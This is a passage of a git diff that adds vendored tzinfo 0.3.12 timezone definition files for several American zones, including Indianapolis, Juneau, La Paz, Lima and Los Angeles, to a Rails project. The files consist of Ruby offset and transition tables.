9869267, 4 + tz.transition 2043, 11, :o1, 59221313, 24 + tz.transition 2044, 3, :o2, 9870751, 4 + tz.transition 2044, 11, :o1, 59230217, 24 + tz.transition 2045, 3, :o2, 9872207, 4 + tz.transition 2045, 11, :o1, 59238953, 24 + tz.transition 2046, 3, :o2, 9873663, 4 + tz.transition 2046, 11, :o1, 59247689, 24 + tz.transition 2047, 3, :o2, 9875119, 4 + tz.transition 2047, 11, :o1, 59256425, 24 + tz.transition 2048, 3, :o2, 9876575, 4 + tz.transition 2048, 11, :o1, 59265161, 24 + tz.transition 2049, 3, :o2, 9878059, 4 + tz.transition 2049, 11, :o1, 59274065, 24 + tz.transition 2050, 3, :o2, 9879515, 4 + tz.transition 2050, 11, :o1, 59282801, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Indiana/Indianapolis.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Indiana/Indianapolis.rb new file mode 100644 index 00000000..f1430f6c --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Indiana/Indianapolis.rb @@ -0,0 +1,149 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module Indiana + module Indianapolis + include TimezoneDefinition + + timezone 'America/Indiana/Indianapolis' do |tz| + tz.offset :o0, -20678, 0, :LMT + tz.offset :o1, -21600, 0, :CST + tz.offset :o2, -21600, 3600, :CDT + tz.offset :o3, -21600, 3600, :CWT + tz.offset :o4, -21600, 3600, :CPT + tz.offset :o5, -18000, 0, :EST + tz.offset :o6, -18000, 3600, :EDT + + tz.transition 1883, 11, :o1, 9636533, 4 + tz.transition 1918, 3, :o2, 14530103, 6 + tz.transition 1918, 10, :o1, 58125451, 24 + tz.transition 1919, 3, :o2, 14532287, 6 + tz.transition 1919, 10, :o1, 58134187, 24 + tz.transition 1941, 6, :o2, 14581007, 6 + tz.transition 1941, 9, :o1, 58326379, 24 + tz.transition 1942, 2, :o3, 14582399, 6 + tz.transition 1945, 8, :o4, 58360379, 24 + tz.transition 1945, 9, :o1, 58361491, 24 + tz.transition 1946, 4, :o2, 14591633, 6 + tz.transition 1946, 9, :o1, 58370227, 24 + tz.transition 1947, 4, :o2, 14593817, 6 + tz.transition 1947, 9, :o1, 58378963, 24 + tz.transition 1948, 4, :o2, 14596001, 6 + tz.transition 1948, 9, :o1, 58387699, 24 + tz.transition 1949, 4, :o2, 14598185, 6 + tz.transition 1949, 9, :o1, 58396435, 24 + tz.transition 1950, 4, :o2, 14600411, 6 + tz.transition 1950, 9, :o1, 58405171, 24 + tz.transition 1951, 4, :o2, 14602595, 6 + tz.transition 1951, 9, :o1, 58414075, 24 + tz.transition 1952, 4, :o2, 14604779, 6 + tz.transition 1952, 9, :o1, 58422811, 24 + tz.transition 1953, 4, :o2, 14606963, 6 + tz.transition 1953, 9, :o1, 58431547, 24 + tz.transition 1954, 4, :o2, 14609147, 6 + tz.transition 1954, 9, :o1, 58440283, 24 + tz.transition 1955, 4, :o5, 14611331, 6 + tz.transition 1957, 9, :o1, 58466659, 24 + tz.transition 1958, 4, :o5, 14617925, 6 + tz.transition 1969, 4, :o6, 58568131, 24 + tz.transition 1969, 10, :o5, 9762083, 4 + tz.transition 1970, 4, :o6, 9961200 + tz.transition 1970, 10, :o5, 25682400 + tz.transition 2006, 4, :o6, 1143961200 + tz.transition 2006, 10, :o5, 1162101600 + tz.transition 2007, 3, :o6, 1173596400 + tz.transition 2007, 11, :o5, 1194156000 + tz.transition 2008, 3, :o6, 1205046000 + tz.transition 2008, 11, :o5, 1225605600 + tz.transition 2009, 3, :o6, 1236495600 + tz.transition 2009, 11, :o5, 1257055200 + tz.transition 2010, 3, :o6, 1268550000 + tz.transition 2010, 11, :o5, 1289109600 + tz.transition 2011, 3, :o6, 1299999600 + tz.transition 2011, 11, :o5, 1320559200 + tz.transition 2012, 3, :o6, 1331449200 + tz.transition 2012, 11, :o5, 1352008800 + tz.transition 2013, 3, :o6, 1362898800 + tz.transition 2013, 11, :o5, 1383458400 + tz.transition 2014, 3, :o6, 1394348400 + tz.transition 2014, 11, :o5, 1414908000 + tz.transition 2015, 3, :o6, 1425798000 + tz.transition 2015, 11, :o5, 1446357600 + tz.transition 2016, 3, :o6, 1457852400 + tz.transition 2016, 11, :o5, 1478412000 + tz.transition 2017, 3, :o6, 1489302000 + tz.transition 2017, 11, :o5, 1509861600 + tz.transition 2018, 3, :o6, 1520751600 + tz.transition 2018, 11, :o5, 1541311200 + tz.transition 2019, 3, :o6, 1552201200 + tz.transition 2019, 11, :o5, 1572760800 + tz.transition 2020, 3, :o6, 1583650800 + tz.transition 2020, 11, :o5, 1604210400 + tz.transition 2021, 3, :o6, 1615705200 + tz.transition 2021, 11, :o5, 1636264800 + tz.transition 2022, 3, :o6, 1647154800 + tz.transition 2022, 11, :o5, 1667714400 + tz.transition 2023, 3, :o6, 1678604400 + tz.transition 2023, 11, :o5, 1699164000 + tz.transition 2024, 3, :o6, 1710054000 + tz.transition 2024, 11, :o5, 1730613600 + tz.transition 2025, 3, :o6, 1741503600 + tz.transition 2025, 11, :o5, 1762063200 + tz.transition 2026, 3, :o6, 1772953200 + tz.transition 2026, 11, :o5, 1793512800 + tz.transition 2027, 3, :o6, 1805007600 + tz.transition 2027, 11, :o5, 1825567200 + tz.transition 2028, 3, :o6, 1836457200 + tz.transition 2028, 11, :o5, 1857016800 + tz.transition 2029, 3, :o6, 1867906800 + tz.transition 2029, 11, :o5, 1888466400 + tz.transition 2030, 3, :o6, 1899356400 + tz.transition 2030, 11, :o5, 1919916000 + tz.transition 2031, 3, :o6, 1930806000 + tz.transition 2031, 11, :o5, 1951365600 + tz.transition 2032, 3, :o6, 1962860400 + tz.transition 2032, 11, :o5, 1983420000 + tz.transition 2033, 3, :o6, 1994310000 + tz.transition 2033, 11, :o5, 2014869600 + tz.transition 2034, 3, :o6, 2025759600 + tz.transition 2034, 11, :o5, 2046319200 + tz.transition 2035, 3, :o6, 2057209200 + tz.transition 2035, 11, :o5, 2077768800 + tz.transition 2036, 3, :o6, 2088658800 + tz.transition 2036, 11, :o5, 2109218400 + tz.transition 2037, 3, :o6, 2120108400 + tz.transition 2037, 11, :o5, 2140668000 + tz.transition 2038, 3, :o6, 59171923, 24 + tz.transition 2038, 11, :o5, 9862939, 4 + tz.transition 2039, 3, :o6, 59180659, 24 + tz.transition 2039, 11, :o5, 9864395, 4 + tz.transition 2040, 3, :o6, 59189395, 24 + tz.transition 2040, 11, :o5, 9865851, 4 + tz.transition 2041, 3, :o6, 59198131, 24 + tz.transition 2041, 11, :o5, 9867307, 4 + tz.transition 2042, 3, :o6, 59206867, 24 + tz.transition 2042, 11, :o5, 9868763, 4 + tz.transition 2043, 3, :o6, 59215603, 24 + tz.transition 2043, 11, :o5, 9870219, 4 + tz.transition 2044, 3, :o6, 59224507, 24 + tz.transition 2044, 11, :o5, 9871703, 4 + tz.transition 2045, 3, :o6, 59233243, 24 + tz.transition 2045, 11, :o5, 9873159, 4 + tz.transition 2046, 3, :o6, 59241979, 24 + tz.transition 2046, 11, :o5, 9874615, 4 + tz.transition 2047, 3, :o6, 59250715, 24 + tz.transition 2047, 11, :o5, 9876071, 4 + tz.transition 2048, 3, :o6, 59259451, 24 + tz.transition 2048, 11, :o5, 9877527, 4 + tz.transition 2049, 3, :o6, 59268355, 24 + tz.transition 2049, 11, :o5, 9879011, 4 + tz.transition 2050, 3, :o6, 59277091, 24 + tz.transition 2050, 11, :o5, 9880467, 4 + end + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Juneau.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Juneau.rb new file mode 100644 index 00000000..f646f3f5 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Juneau.rb @@ -0,0 +1,194 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module Juneau + include TimezoneDefinition + + timezone 'America/Juneau' do |tz| + tz.offset :o0, 54139, 0, :LMT + tz.offset :o1, -32261, 0, :LMT + tz.offset :o2, -28800, 0, :PST + tz.offset :o3, -28800, 3600, :PWT + tz.offset :o4, -28800, 3600, :PPT + tz.offset :o5, -28800, 3600, :PDT + tz.offset :o6, -32400, 0, :YST + tz.offset :o7, -32400, 0, :AKST + tz.offset :o8, -32400, 3600, :AKDT + + tz.transition 1867, 10, :o1, 207641393861, 86400 + tz.transition 1900, 8, :o2, 208677805061, 86400 + tz.transition 1942, 2, :o3, 29164799, 12 + tz.transition 1945, 8, :o4, 58360379, 24 + tz.transition 1945, 9, :o2, 19453831, 8 + tz.transition 1969, 4, :o5, 29284067, 12 + tz.transition 1969, 10, :o2, 19524167, 8 + tz.transition 1970, 4, :o5, 9972000 + tz.transition 1970, 10, :o2, 25693200 + tz.transition 1971, 4, :o5, 41421600 + tz.transition 1971, 10, :o2, 57747600 + tz.transition 1972, 4, :o5, 73476000 + tz.transition 1972, 10, :o2, 89197200 + tz.transition 1973, 4, :o5, 104925600 + tz.transition 1973, 10, :o2, 120646800 + tz.transition 1974, 1, :o5, 126698400 + tz.transition 1974, 10, :o2, 152096400 + tz.transition 1975, 2, :o5, 162381600 + tz.transition 1975, 10, :o2, 183546000 + tz.transition 1976, 4, :o5, 199274400 + tz.transition 1976, 10, :o2, 215600400 + tz.transition 1977, 4, :o5, 230724000 + tz.transition 1977, 10, :o2, 247050000 + tz.transition 1978, 4, :o5, 262778400 + tz.transition 1978, 10, :o2, 278499600 + tz.transition 1979, 4, :o5, 294228000 + tz.transition 1979, 10, :o2, 309949200 + tz.transition 1980, 4, :o5, 325677600 + tz.transition 1980, 10, :o2, 341398800 + tz.transition 1981, 4, :o5, 357127200 + tz.transition 1981, 10, :o2, 372848400 + tz.transition 1982, 4, :o5, 388576800 + tz.transition 1982, 10, :o2, 404902800 + tz.transition 1983, 4, :o5, 420026400 + tz.transition 1983, 10, :o6, 436352400 + tz.transition 1983, 11, :o7, 439030800 + tz.transition 1984, 4, :o8, 452084400 + tz.transition 1984, 10, :o7, 467805600 + tz.transition 1985, 4, :o8, 483534000 + tz.transition 1985, 10, :o7, 499255200 + tz.transition 1986, 4, :o8, 514983600 + tz.transition 1986, 10, :o7, 530704800 + tz.transition 1987, 4, :o8, 544618800 + tz.transition 1987, 10, :o7, 562154400 + tz.transition 1988, 4, :o8, 576068400 + tz.transition 1988, 10, :o7, 594208800 + tz.transition 1989, 4, :o8, 607518000 + tz.transition 1989, 10, :o7, 625658400 + tz.transition 1990, 4, :o8, 638967600 + tz.transition 1990, 10, :o7, 657108000 + tz.transition 1991, 4, :o8, 671022000 + tz.transition 1991, 10, :o7, 688557600 + tz.transition 1992, 4, :o8, 702471600 + tz.transition 1992, 10, :o7, 720007200 + tz.transition 1993, 4, :o8, 733921200 + tz.transition 1993, 10, :o7, 752061600 + tz.transition 1994, 4, :o8, 765370800 + tz.transition 1994, 10, :o7, 783511200 + tz.transition 1995, 4, :o8, 796820400 + tz.transition 1995, 10, :o7, 814960800 + tz.transition 1996, 4, :o8, 828874800 + tz.transition 1996, 10, :o7, 846410400 + tz.transition 1997, 4, :o8, 860324400 + tz.transition 1997, 10, :o7, 877860000 + tz.transition 1998, 4, :o8, 891774000 + tz.transition 1998, 10, :o7, 909309600 + tz.transition 1999, 4, :o8, 923223600 + tz.transition 1999, 10, :o7, 941364000 + tz.transition 2000, 4, :o8, 954673200 + tz.transition 2000, 10, :o7, 972813600 + tz.transition 2001, 4, :o8, 986122800 + tz.transition 2001, 10, :o7, 1004263200 + tz.transition 2002, 4, :o8, 1018177200 + tz.transition 2002, 10, :o7, 1035712800 + tz.transition 2003, 4, :o8, 1049626800 + tz.transition 2003, 10, :o7, 1067162400 + tz.transition 2004, 4, :o8, 1081076400 + tz.transition 2004, 10, :o7, 1099216800 + tz.transition 2005, 4, :o8, 1112526000 + tz.transition 2005, 10, :o7, 1130666400 + tz.transition 2006, 4, :o8, 1143975600 + tz.transition 2006, 10, :o7, 1162116000 + tz.transition 2007, 3, :o8, 1173610800 + tz.transition 2007, 11, :o7, 1194170400 + tz.transition 2008, 3, :o8, 1205060400 + tz.transition 2008, 11, :o7, 1225620000 + tz.transition 2009, 3, :o8, 1236510000 + tz.transition 2009, 11, :o7, 1257069600 + tz.transition 2010, 3, :o8, 1268564400 + tz.transition 2010, 11, :o7, 1289124000 + tz.transition 2011, 3, :o8, 1300014000 + tz.transition 2011, 11, :o7, 1320573600 + tz.transition 2012, 3, :o8, 1331463600 + tz.transition 2012, 11, :o7, 1352023200 + tz.transition 2013, 3, :o8, 1362913200 + tz.transition 2013, 11, :o7, 1383472800 + tz.transition 2014, 3, :o8, 1394362800 + tz.transition 2014, 11, :o7, 1414922400 + tz.transition 2015, 3, :o8, 1425812400 + tz.transition 2015, 11, :o7, 1446372000 + tz.transition 2016, 3, :o8, 1457866800 + tz.transition 2016, 11, :o7, 1478426400 + tz.transition 2017, 3, :o8, 1489316400 + tz.transition 2017, 11, :o7, 1509876000 + tz.transition 2018, 3, :o8, 1520766000 + tz.transition 2018, 11, :o7, 1541325600 + tz.transition 2019, 3, :o8, 1552215600 + tz.transition 2019, 11, :o7, 1572775200 + tz.transition 2020, 3, :o8, 1583665200 + tz.transition 2020, 11, :o7, 1604224800 + tz.transition 2021, 3, :o8, 1615719600 + tz.transition 2021, 11, :o7, 1636279200 + tz.transition 2022, 3, :o8, 1647169200 + tz.transition 2022, 11, :o7, 1667728800 + tz.transition 2023, 3, :o8, 1678618800 + tz.transition 2023, 11, :o7, 1699178400 + tz.transition 2024, 3, :o8, 1710068400 + tz.transition 2024, 11, :o7, 1730628000 + tz.transition 2025, 3, :o8, 1741518000 + tz.transition 2025, 11, :o7, 1762077600 + tz.transition 2026, 3, :o8, 1772967600 + tz.transition 2026, 11, :o7, 1793527200 + tz.transition 2027, 3, :o8, 1805022000 + tz.transition 2027, 11, :o7, 1825581600 + tz.transition 2028, 3, :o8, 1836471600 + tz.transition 2028, 11, :o7, 1857031200 + tz.transition 2029, 3, :o8, 1867921200 + tz.transition 2029, 11, :o7, 1888480800 + tz.transition 2030, 3, :o8, 1899370800 + tz.transition 2030, 11, :o7, 1919930400 + tz.transition 2031, 3, :o8, 1930820400 + tz.transition 2031, 11, :o7, 1951380000 + tz.transition 2032, 3, :o8, 1962874800 + tz.transition 2032, 11, :o7, 1983434400 + tz.transition 2033, 3, :o8, 1994324400 + tz.transition 2033, 11, :o7, 2014884000 + tz.transition 2034, 3, :o8, 2025774000 + tz.transition 2034, 11, :o7, 2046333600 + tz.transition 2035, 3, :o8, 2057223600 + tz.transition 2035, 11, :o7, 2077783200 + tz.transition 2036, 3, :o8, 2088673200 + tz.transition 2036, 11, :o7, 2109232800 + tz.transition 2037, 3, :o8, 2120122800 + tz.transition 2037, 11, :o7, 2140682400 + tz.transition 2038, 3, :o8, 59171927, 24 + tz.transition 2038, 11, :o7, 29588819, 12 + tz.transition 2039, 3, :o8, 59180663, 24 + tz.transition 2039, 11, :o7, 29593187, 12 + tz.transition 2040, 3, :o8, 59189399, 24 + tz.transition 2040, 11, :o7, 29597555, 12 + tz.transition 2041, 3, :o8, 59198135, 24 + tz.transition 2041, 11, :o7, 29601923, 12 + tz.transition 2042, 3, :o8, 59206871, 24 + tz.transition 2042, 11, :o7, 29606291, 12 + tz.transition 2043, 3, :o8, 59215607, 24 + tz.transition 2043, 11, :o7, 29610659, 12 + tz.transition 2044, 3, :o8, 59224511, 24 + tz.transition 2044, 11, :o7, 29615111, 12 + tz.transition 2045, 3, :o8, 59233247, 24 + tz.transition 2045, 11, :o7, 29619479, 12 + tz.transition 2046, 3, :o8, 59241983, 24 + tz.transition 2046, 11, :o7, 29623847, 12 + tz.transition 2047, 3, :o8, 59250719, 24 + tz.transition 2047, 11, :o7, 29628215, 12 + tz.transition 2048, 3, :o8, 59259455, 24 + tz.transition 2048, 11, :o7, 29632583, 12 + tz.transition 2049, 3, :o8, 59268359, 24 + tz.transition 2049, 11, :o7, 29637035, 12 + tz.transition 2050, 3, :o8, 59277095, 24 + tz.transition 2050, 11, :o7, 29641403, 12 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/La_Paz.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/La_Paz.rb new file mode 100644 index 00000000..45c90789 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/La_Paz.rb @@ -0,0 +1,22 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module La_Paz + include TimezoneDefinition + + timezone 'America/La_Paz' do |tz| + tz.offset :o0, -16356, 0, :LMT + tz.offset :o1, -16356, 0, :CMT + tz.offset :o2, -16356, 3600, :BOST + tz.offset :o3, -14400, 0, :BOT + + tz.transition 1890, 1, :o1, 17361854563, 7200 + tz.transition 1931, 10, :o2, 17471733763, 7200 + tz.transition 1932, 3, :o3, 17472871063, 7200 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Lima.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Lima.rb new file mode 100644 index 00000000..af68ac29 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Lima.rb @@ -0,0 +1,35 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module Lima + include TimezoneDefinition + + timezone 'America/Lima' do |tz| + tz.offset :o0, -18492, 0, :LMT + tz.offset :o1, -18516, 0, :LMT + tz.offset :o2, -18000, 0, :PET + tz.offset :o3, -18000, 3600, :PEST + + tz.transition 1890, 1, :o1, 17361854741, 7200 + tz.transition 1908, 7, :o2, 17410685143, 7200 + tz.transition 1938, 1, :o3, 58293593, 24 + tz.transition 1938, 4, :o2, 7286969, 3 + tz.transition 1938, 9, :o3, 58300001, 24 + tz.transition 1939, 3, :o2, 7288046, 3 + tz.transition 1939, 9, :o3, 58308737, 24 + tz.transition 1940, 3, :o2, 7289138, 3 + tz.transition 1986, 1, :o3, 504939600 + tz.transition 1986, 4, :o2, 512712000 + tz.transition 1987, 1, :o3, 536475600 + tz.transition 1987, 4, :o2, 544248000 + tz.transition 1990, 1, :o3, 631170000 + tz.transition 1990, 4, :o2, 638942400 + tz.transition 1994, 1, :o3, 757400400 + tz.transition 1994, 4, :o2, 765172800 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Los_Angeles.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Los_Angeles.rb new file mode 100644 index 00000000..16007fd6 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Los_Angeles.rb @@ -0,0 +1,232 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module Los_Angeles + include TimezoneDefinition + + timezone 'America/Los_Angeles' do |tz| + tz.offset :o0, -28378, 0, :LMT + tz.offset :o1, -28800, 0, :PST + tz.offset :o2, -28800, 3600, :PDT + tz.offset :o3, -28800, 3600, :PWT + tz.offset :o4, -28800, 3600, :PPT + + tz.transition 1883, 11, :o1, 7227400, 3 + tz.transition 1918, 3, :o2, 29060207, 12 + tz.transition 1918, 10, :o1, 19375151, 8 + tz.transition 1919, 3, :o2, 29064575, 12 + tz.transition 1919, 10, :o1, 19378063, 8 + tz.transition 1942, 2, :o3, 29164799, 12 + tz.transition 1945, 8, :o4, 58360379, 24 + tz.transition 1945, 9, :o1, 19453831, 8 + tz.transition 1948, 3, :o2, 29191499, 12 + tz.transition 1949, 1, :o1, 19463343, 8 + tz.transition 1950, 4, :o2, 29200823, 12 + tz.transition 1950, 9, :o1, 19468391, 8 + tz.transition 1951, 4, :o2, 29205191, 12 + tz.transition 1951, 9, :o1, 19471359, 8 + tz.transition 1952, 4, :o2, 29209559, 12 + tz.transition 1952, 9, :o1, 19474271, 8 + tz.transition 1953, 4, :o2, 29213927, 12 + tz.transition 1953, 9, :o1, 19477183, 8 + tz.transition 1954, 4, :o2, 29218295, 12 + tz.transition 1954, 9, :o1, 19480095, 8 + tz.transition 1955, 4, :o2, 29222663, 12 + tz.transition 1955, 9, :o1, 19483007, 8 + tz.transition 1956, 4, :o2, 29227115, 12 + tz.transition 1956, 9, :o1, 19485975, 8 + tz.transition 1957, 4, :o2, 29231483, 12 + tz.transition 1957, 9, :o1, 19488887, 8 + tz.transition 1958, 4, :o2, 29235851, 12 + tz.transition 1958, 9, :o1, 19491799, 8 + tz.transition 1959, 4, :o2, 29240219, 12 + tz.transition 1959, 9, :o1, 19494711, 8 + tz.transition 1960, 4, :o2, 29244587, 12 + tz.transition 1960, 9, :o1, 19497623, 8 + tz.transition 1961, 4, :o2, 29249039, 12 + tz.transition 1961, 9, :o1, 19500535, 8 + tz.transition 1962, 4, :o2, 29253407, 12 + tz.transition 1962, 10, :o1, 19503727, 8 + tz.transition 1963, 4, :o2, 29257775, 12 + tz.transition 1963, 10, :o1, 19506639, 8 + tz.transition 1964, 4, :o2, 29262143, 12 + tz.transition 1964, 10, :o1, 19509551, 8 + tz.transition 1965, 4, :o2, 29266511, 12 + tz.transition 1965, 10, :o1, 19512519, 8 + tz.transition 1966, 4, :o2, 29270879, 12 + tz.transition 1966, 10, :o1, 19515431, 8 + tz.transition 1967, 4, :o2, 29275331, 12 + tz.transition 1967, 10, :o1, 19518343, 8 + tz.transition 1968, 4, :o2, 29279699, 12 + tz.transition 1968, 10, :o1, 19521255, 8 + tz.transition 1969, 4, :o2, 29284067, 12 + tz.transition 1969, 10, :o1, 19524167, 8 + tz.transition 1970, 4, :o2, 9972000 + tz.transition 1970, 10, :o1, 25693200 + tz.transition 1971, 4, :o2, 41421600 + tz.transition 1971, 10, :o1, 57747600 + tz.transition 1972, 4, :o2, 73476000 + tz.transition 1972, 10, :o1, 89197200 + tz.transition 1973, 4, :o2, 104925600 + tz.transition 1973, 10, :o1, 120646800 + tz.transition 1974, 1, :o2, 126698400 + tz.transition 1974, 10, :o1, 152096400 + tz.transition 1975, 2, :o2, 162381600 + tz.transition 1975, 10, :o1, 183546000 + tz.transition 1976, 4, :o2, 199274400 + tz.transition 1976, 10, :o1, 215600400 + tz.transition 1977, 4, :o2, 230724000 + tz.transition 1977, 10, :o1, 247050000 + tz.transition 1978, 4, :o2, 262778400 + tz.transition 1978, 10, :o1, 278499600 + tz.transition 1979, 4, :o2, 294228000 + tz.transition 1979, 10, :o1, 309949200 + tz.transition 1980, 4, :o2, 325677600 + tz.transition 1980, 10, :o1, 341398800 + tz.transition 1981, 4, :o2, 357127200 + tz.transition 1981, 10, :o1, 372848400 + tz.transition 1982, 4, :o2, 388576800 + tz.transition 1982, 10, :o1, 404902800 + tz.transition 1983, 4, :o2, 420026400 + tz.transition 1983, 10, :o1, 436352400 + tz.transition 1984, 4, :o2, 452080800 + tz.transition 1984, 10, :o1, 467802000 + tz.transition 1985, 4, :o2, 483530400 + tz.transition 1985, 10, :o1, 499251600 + tz.transition 1986, 4, :o2, 514980000 + tz.transition 1986, 10, :o1, 530701200 + tz.transition 1987, 4, :o2, 544615200 + tz.transition 1987, 10, :o1, 562150800 + tz.transition 1988, 4, :o2, 576064800 + tz.transition 1988, 10, :o1, 594205200 + tz.transition 1989, 4, :o2, 607514400 + tz.transition 1989, 10, :o1, 625654800 + tz.transition 1990, 4, :o2, 638964000 + tz.transition 1990, 10, :o1, 657104400 + tz.transition 1991, 4, :o2, 671018400 + tz.transition 1991, 10, :o1, 688554000 + tz.transition 1992, 4, :o2, 702468000 + tz.transition 1992, 10, :o1, 720003600 + tz.transition 1993, 4, :o2, 733917600 + tz.transition 1993, 10, :o1, 752058000 + tz.transition 1994, 4, :o2, 765367200 + tz.transition 1994, 10, :o1, 783507600 + tz.transition 1995, 4, :o2, 796816800 + tz.transition 1995, 10, :o1, 814957200 + tz.transition 1996, 4, :o2, 828871200 + tz.transition 1996, 10, :o1, 846406800 + tz.transition 1997, 4, :o2, 860320800 + tz.transition 1997, 10, :o1, 877856400 + tz.transition 1998, 4, :o2, 891770400 + tz.transition 1998, 10, :o1, 909306000 + tz.transition 1999, 4, :o2, 923220000 + tz.transition 1999, 10, :o1, 941360400 + tz.transition 2000, 4, :o2, 954669600 + tz.transition 2000, 10, :o1, 972810000 + tz.transition 2001, 4, :o2, 986119200 + tz.transition 2001, 10, :o1, 1004259600 + tz.transition 2002, 4, :o2, 1018173600 + tz.transition 2002, 10, :o1, 1035709200 + tz.transition 2003, 4, :o2, 1049623200 + tz.transition 2003, 10, :o1, 1067158800 + tz.transition 2004, 4, :o2, 1081072800 + tz.transition 2004, 10, :o1, 1099213200 + tz.transition 2005, 4, :o2, 1112522400 + tz.transition 2005, 10, :o1, 1130662800 + tz.transition 2006, 4, :o2, 1143972000 + tz.transition 2006, 10, :o1, 1162112400 + tz.transition 2007, 3, :o2, 1173607200 + tz.transition 2007, 11, :o1, 1194166800 + tz.transition 2008, 3, :o2, 1205056800 + tz.transition 2008, 11, :o1, 1225616400 + tz.transition 2009, 3, :o2, 1236506400 + tz.transition 2009, 11, :o1, 1257066000 + tz.transition 2010, 3, :o2, 1268560800 + tz.transition 2010, 11, :o1, 1289120400 + tz.transition 2011, 3, :o2, 1300010400 + tz.transition 2011, 11, :o1, 1320570000 + tz.transition 2012, 3, :o2, 1331460000 + tz.transition 2012, 11, :o1, 1352019600 + tz.transition 2013, 3, :o2, 1362909600 + tz.transition 2013, 11, :o1, 1383469200 + tz.transition 2014, 3, :o2, 1394359200 + tz.transition 2014, 11, :o1, 1414918800 + tz.transition 2015, 3, :o2, 1425808800 + tz.transition 2015, 11, :o1, 1446368400 + tz.transition 2016, 3, :o2, 1457863200 + tz.transition 2016, 11, :o1, 1478422800 + tz.transition 2017, 3, :o2, 1489312800 + tz.transition 2017, 11, :o1, 1509872400 + tz.transition 2018, 3, :o2, 1520762400 + tz.transition 2018, 11, :o1, 1541322000 + tz.transition 2019, 3, :o2, 1552212000 + tz.transition 2019, 11, :o1, 1572771600 + tz.transition 2020, 3, :o2, 1583661600 + tz.transition 2020, 11, :o1, 1604221200 + tz.transition 2021, 3, :o2, 1615716000 + tz.transition 2021, 11, :o1, 1636275600 + tz.transition 2022, 3, :o2, 1647165600 + tz.transition 2022, 11, :o1, 1667725200 + tz.transition 2023, 3, :o2, 1678615200 + tz.transition 2023, 11, :o1, 1699174800 + tz.transition 2024, 3, :o2, 1710064800 + tz.transition 2024, 11, :o1, 1730624400 + tz.transition 2025, 3, :o2, 1741514400 + tz.transition 2025, 11, :o1, 1762074000 + tz.transition 2026, 3, :o2, 1772964000 + tz.transition 2026, 11, :o1, 1793523600 + tz.transition 2027, 3, :o2, 1805018400 + tz.transition 2027, 11, :o1, 1825578000 + tz.transition 2028, 3, :o2, 1836468000 + tz.transition 2028, 11, :o1, 1857027600 + tz.transition 2029, 3, :o2, 1867917600 + tz.transition 2029, 11, :o1, 1888477200 + tz.transition 2030, 3, :o2, 1899367200 + tz.transition 2030, 11, :o1, 1919926800 + tz.transition 2031, 3, :o2, 1930816800 + tz.transition 2031, 11, :o1, 1951376400 + tz.transition 2032, 3, :o2, 1962871200 + tz.transition 2032, 11, :o1, 1983430800 + tz.transition 2033, 3, :o2, 1994320800 + tz.transition 2033, 11, :o1, 2014880400 + tz.transition 2034, 3, :o2, 2025770400 + tz.transition 2034, 11, :o1, 2046330000 + tz.transition 2035, 3, :o2, 2057220000 + tz.transition 2035, 11, :o1, 2077779600 + tz.transition 2036, 3, :o2, 2088669600 + tz.transition 2036, 11, :o1, 2109229200 + tz.transition 2037, 3, :o2, 2120119200 + tz.transition 2037, 11, :o1, 2140678800 + tz.transition 2038, 3, :o2, 29585963, 12 + tz.transition 2038, 11, :o1, 19725879, 8 + tz.transition 2039, 3, :o2, 29590331, 12 + tz.transition 2039, 11, :o1, 19728791, 8 + tz.transition 2040, 3, :o2, 29594699, 12 + tz.transition 2040, 11, :o1, 19731703, 8 + tz.transition 2041, 3, :o2, 29599067, 12 + tz.transition 2041, 11, :o1, 19734615, 8 + tz.transition 2042, 3, :o2, 29603435, 12 + tz.transition 2042, 11, :o1, 19737527, 8 + tz.transition 2043, 3, :o2, 29607803, 12 + tz.transition 2043, 11, :o1, 19740439, 8 + tz.transition 2044, 3, :o2, 29612255, 12 + tz.transition 2044, 11, :o1, 19743407, 8 + tz.transition 2045, 3, :o2, 29616623, 12 + tz.transition 2045, 11, :o1, 19746319, 8 + tz.transition 2046, 3, :o2, 29620991, 12 + tz.transition 2046, 11, :o1, 19749231, 8 + tz.transition 2047, 3, :o2, 29625359, 12 + tz.transition 2047, 11, :o1, 19752143, 8 + tz.transition 2048, 3, :o2, 29629727, 12 + tz.transition 2048, 11, :o1, 19755055, 8 + tz.transition 2049, 3, :o2, 29634179, 12 + tz.transition 2049, 11, :o1, 19758023, 8 + tz.transition 2050, 3, :o2, 29638547, 12 + tz.transition 2050, 11, :o1, 19760935, 8 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Mazatlan.rb 